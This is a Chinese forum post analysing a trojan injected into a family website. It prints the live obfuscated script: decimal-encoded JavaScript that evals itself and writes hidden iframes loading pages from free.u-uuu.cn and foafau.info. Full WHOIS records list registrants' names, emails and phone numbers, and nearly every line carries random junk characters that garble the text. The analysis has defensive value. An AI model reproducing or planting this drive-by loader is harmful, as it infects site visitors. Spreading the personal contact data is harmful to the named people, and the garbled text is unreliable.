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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, <jd/t19DB  
Uh6mGL z*&  
http://www.areway.cn/?p=175 gM_:l  
5RA<Z.  
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周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: b>q6:=((  
          zg]Drm  
<script>t=’60,105,102,114,97,109,101, P"4Mm, C  
32,115,114,99,61,104,116,116,112,58,47,47, ~8Sqa%F>  
102,114,101,101,46,117,45,117,117,117,46,99, ."JzDs   
110,47,101,114,114,111,114,46,104,116,109, :|XCnK0  
32,119,105,100,116,104,61,49,48,48,32,104, B!q?_[k,  
101,105,103,104,116,61,48,62,60,47,105,102, tSw>@FM  
114,97,109,101,62′; G.VYp6)5  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> sX'U|)/pD  
                                                                                                  _Y YP4lEL  
<script>t=’60,105,102,114,97,109,101,32,115, w yD%x(  
114,99,61,104,116,116,112,58,47,47,102,114, =jIxI,  
101,101,46,117,45,117,117,117,46,99,110,47, nGZ \<-  
101,114,114,111,114,46,104,116,109,32,119, P06 . 1  
105,100,116,104,61,49,48,48,32,104,101,105, Pe,;MP\2  
103,104,116,61,48,62,60,47,105,102,114,97, #1l7FT?q  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); :c;_a-69  
document.write(t);</script> E*4t8  
                                                                                                  *98Ti|  
<html xmlns=” di_gWE  
http://www.w3.org/1999/xhtml @aB9%An1  
“> nL;K|W  
<head> ]I XAucI]  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> [a D:A  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> xT+ ;w[s  
<title>首页 - 爱生活家庭网 U(A4v0T  
                                                                                                                                                    e 2*F;.)  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 LV=^jsQ5  
转换字符串后的大概内容是(谁点击后果自付): ~j}J<4&OvC  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… 8dV=1O$ /  
                                                                                                                                  ||gEs/6-  
查询玉米u-uuu.cn的详细信息: IuKnM`X  
Domain Name: u-uuu.cn x(yX0 ,P/7  
ROID: 20070901s10001s64972306-cn B? TpBd  
Domain Status: ok z\h, SX<U  
Registrant Organization: 王雷 W8uVd zQ   
Registrant Name: 王雷 '^lUL) R  
Administrative Email: czlovexs@126.com `wV|q~  
Sponsoring Registrar: 北京万网志成科技有限公司 b7f0#*(?  
Name Server:ns.yovole.com w&+\Wo;([b  
Name Server:ns1.yovole.com .q0AoM  
Registration Date: 2007-09-01 17:54 b.6ZfB,+G  
Expiration Date: 2008-09-01 17:54 T:@7 S  
最后PING了一下地址 都没有什么…. ?7rD42\8H  
                                                                                                ^(m0M$Wk*  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. "0<Sd?Sz  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> 4d6% t2  
<script language=”javascript” src=” =u[rOU{X"W  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script |<QI%Y$dr  
> wjg}[R@!  
这个玉米应该有可能是木马作者的: <dJIq"){  
foafau.info的详细信息: MyM+C}  
Access to INFO WHOIS information is provided to assist persons in 7n<#y;wo  
determining the contents of a domain name registration record in the 8+L7E-  
Afilias registry database. The data in this record is provided by WxDb3l~  
Afilias Limited for informational purposes only, and Afilias does not /\TlO.B=  
guarantee its accuracy.  This service is intended only for query-based rN'.&;Y5  
access. You agree that you will use this data only for lawful purposes 8q{1E];:q  
and that, under no circumstances will you use this data to: (a) allow, [M<{P5q  
enable, or otherwise support the transmission by e-mail, telephone, or Yg|l?d"  
facsimile of mass unsolicited, commercial advertising or solicitations :MdEr//w  
to entities other than the data recipient’s own existing customers; or sMN>wbHwh[  
(b) enable high volume, automated, electronic processes that send 2Z-,c;21  
queries or data to the systems of Registry Operator, a Registrar, or HcDyD0;L.  
Afilias except as reasonably necessary to register domain names or U !.~XT=  
modify existing registrations. All rights reserved. Afilias reserves @qpYDnJ:  
the right to modify these terms at any time. By submitting this query, JYl\<Z' {  
you agree to abide by this policy. Bd.Z+#%l"  
Domain ID:D22418703-LRMS &,_?>.\[<  
Domain Name:FOAFAU.INFO  Q;Q  
Created On:20-Nov-2007 16:05:42 UTC 3[iSF5%V*p  
Last Updated On:20-Nov-2007 16:05:44 UTC \&# p1K(H  
Expiration Date:20-Nov-2008 16:05:42 UTC Qlf 9]ug)  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) SAQs {M  
Status:CLIENT DELETE PROHIBITED B>ge, }{  
Status:CLIENT RENEW PROHIBITED '[n)N@h  
Status:CLIENT TRANSFER PROHIBITED ''%;EW>  
Status:CLIENT UPDATE PROHIBITED T^+1rG  
Status:TRANSFER PROHIBITED #?A]v>I;C  
Registrant ID:GODA-040110615 =]WW'~  
Registrant Name:liu hong x$*E\/zi<!  
Registrant Organization: K:Mujx:  
Registrant Street1:beijing 4LJ]l:m  
Registrant Street2: kf}F}Ad:%  
Registrant Street3: A> J1B(up  
Registrant City:beijing o- cj&Cv%  
Registrant State/Province: X9DM ^tt  
Registrant Postal Code:100000 P}+2>EU  
Registrant Country:CN kT>r<`rt  
Registrant Phone:+86.860108888777 e!.7no  
Registrant Phone Ext.: Y>(ZsHu  
Registrant FAX: ,^n-L&  
Registrant FAX Ext.: #: dR^zr<  
Registrant Email:bbbshiji@163.com D9e+  
Admin ID:GODA-240110615 Zj:a-=  
Admin Name:liu hong g?w2J6Z.`J  
Admin Organization: M" xZz  
Admin Street1:beijing JTSq{NN  
Admin Street2: v&k>0lV, ^  
Admin Street3: l7!U),x%/U  
Admin City:beijing Xs{:[vRW  
Admin State/Province: 3"HGEUqA  
Admin Postal Code:100000 D)f5pEq'  
Admin Country:CN MT;SRAmUr  
Admin Phone:+86.860108888777 J(3gT }z-  
Admin Phone Ext.: T_(qN;_  
Admin FAX: *(@L+D0N  
Admin FAX Ext.: 4jDs0Hn"  
Admin Email:bbbshiji@163.com uWJ#+XK.  
Billing ID:GODA-340110615 N8Rm})  
Billing Name:liu hong L*kh?PS;  
Billing Organization: 1}i&HIr!b  
Billing Street1:beijing oV%( 37W9=  
Billing Street2: =)mXCA^  
Billing Street3: # Nu%]  
Billing City:beijing :;" aUHU'  
Billing State/Province: SJ1w1^#Pz  
Billing Postal Code:100000 DBqg_v  
Billing Country:CN Pmqx ;  
Billing Phone:+86.860108888777 N1D6D$s0  
Billing Phone Ext.: 8o*\W$K@  
Billing FAX: 5KL9$J9k  
Billing FAX Ext.: <^H1)=tlF  
Billing Email:bbbshiji@163.com ccHLL6F{  
Tech ID:GODA-140110615 H1aV}KD  
Tech Name:liu hong ?Zc/upd:$N  
Tech Organization: >reaIBT  
Tech Street1:beijing A^}i^  
Tech Street2: R@)'Bs  
Tech Street3: hj[+d%YZY"  
Tech City:beijing x.0k%H  
Tech State/Province: v>x {jZkFL  
Tech Postal Code:100000 m;;0 Cl  
Tech Country:CN 4jC4X*  
Tech Phone:+86.860108888777 >%PL_<Vbv  
Tech Phone Ext.: TnbGO;  
Tech FAX: f:x9Y{Y  
Tech FAX Ext.: T% /xti5$!  
Tech Email:bbbshiji@163.com >N+bU{s  
Name Server:NS27.DOMAINCONTROL.COM e>])m3xvn  
Name Server:NS28.DOMAINCONTROL.COM ?.rH;:9To  
Name Server: ,7n;|1`  
Name Server: >z fq*_  
Name Server: s=\LewF1<  
Name Server: 8o8b'tW^  
Name Server: b7W=HR  
Name Server: `:-@E2  
Name Server: 3/A!_Uc(  
Name Server: Lo$Z>u4(c  
Name Server: NB!'u) lFD  
Name Server: |.Y@^z;P3  
Name Server: I,CAFq  
                                                                                                          AF9[2AH=Y  
接着下载每个文件里面的代码: 5 WN`8?  
一步一步看.. . Ce&9l  
}skRlC  
1sIy*z  
QK``tWLIg7  
lRa 3v Ng  
Q`@$j,v  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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简单生活
执著追求
别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
也别说我幼稚,竟想用不长的人生去诠释繁杂的红尘。
然而除了真诚,我还能给你什么,的确我真的一无所有!

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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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